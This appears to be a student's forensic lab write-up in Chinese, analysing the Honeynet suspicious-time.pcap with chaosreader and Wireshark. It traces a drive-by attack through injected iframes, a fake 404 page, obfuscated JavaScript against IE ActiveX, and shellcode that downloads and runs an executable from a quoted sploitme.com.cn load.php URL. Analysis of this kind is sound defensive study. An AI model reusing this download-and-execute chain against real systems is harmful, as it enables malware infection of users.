    下载工具chaoosreaer:git clone https://github.com/brendangregg/Chaosreader.git

    使用该工具读取改文件,命令:```./chaosreader suspicious-time.pcap```,可以看到通信中有HTTP,ICMP,netbios,bootps,DNS的应用层协议,其中ICMP用于传递网络控制报文;netbios在局域网中提供名字登记和解析、可靠的基于连接的通信和不可靠的无连接通信。bootps引导协议,也被DHCP服务使用,DNS用于解析域名。所以攻击只可能来自http数据包。

    使用命令for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort –u列出文件中的IP地址,主机名和域名。从得到的结果中可以看出,有这么几个域名,其中rapidshare.com.eyu32.ru对应攻击地址192.168.56.50,sploitme.com.cn对应192.168.56.52,shop.honeynet.sg对应192.168.56.51,其余的关于谷歌的应该是正常操作。
    DNS服务网址(根据chaosreader的查询结果可以看到):10.0.2.2,10.0.5.2,10.0.4.2,10.0.3.2。
    靶机地址:10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15
    模拟被侵入主机:192.168.56.50(rapidshare.com.eyu32.ru),192.168.56.51(shop.honeynet.sg)
    攻击机地址:192.168.56.52(sploitme.com.cn)

    之后在wireshark中对NBNS数据包过滤,根据netbios显示的主机名和工作组都相同,判断攻击场景是在虚拟机下完成的。

    查看网页页面 session_0006.part_01.html,该页面是一个钓鱼网站,对应于rapidshare.com.eyu32.ru/login.php

    sploitme.com.cn对应session_0007.part_02.html

    shop.honeynet.sg/catalog/(在线商城)对应于页面session_0032.part_01.html

    攻击动作的概要描述
    攻击方将恶意代码注入sploitme.com.cn/?alick=X的iframe框架中。
    受害者打开这个页面之后,会被现实sploitme.com.cn/?alick=X的内容,该页面被重定向到伪造的404页面。

    该页面会检查用户代理字符串等参数,之后fg/show.php使用JavaScript代码攻击受害主机。 如果任何漏洞利用成功,接下来客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件,恶意软件访问www.honeynet.org

    攻击者进行的混淆技巧
    (1)伪造404 not found页面。
    (2)JavaScript混淆

    漏洞分析
    在142组tcp数据包进行tcp数据流分析:
    针对windows上的ie浏览器上的漏洞,ActiveX组件不安全。

    可以通过更新系统和IE浏览器防止这种攻击。

    shellcode执行的动作:
    shellcode获取系统临时文件路径,加载urlmon.dll,从http://sploitme.com.cn/fg/load.php?e=1 搜索可执行文件,然后执行。shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量用来指定发送恶意的可执行文件。

    实验中遇到的问题

    这次的实验遇到的问题主要集中在不知如何下手,参考别人写的博客,对不懂的地方进行搜索。

    对本次实践的感想

    会者不难,难者不会。今天听了大佬的分析方法,是需要足够的基础能够让分析过程看起来很顺理成章。

  • 相关阅读:
    一款基于jQuery制作的焦点图片局部场景图片切换的特效
    一款基于jQuery打造的滤镜百叶窗幻灯片特效
    css3实现多种颜色的底部阴影按钮特效
    一款简单的css3打造的一面五星红旗特效
    一款jQuery打造的具有多功能切换的幻灯片特效
    一款jquery打造的特炫酷的全屏上下滚动的jquery焦点图特效
    一款基于jquery打造的全屏切换的焦点图切换特效
    一款运用纯CSS编写的android图标
    datagrid删除确认对话框
    好站好文滙集
  • 原文地址:https://www.cnblogs.com/eosmomo/p/12919403.html
Copyright © 2020-2023  润新知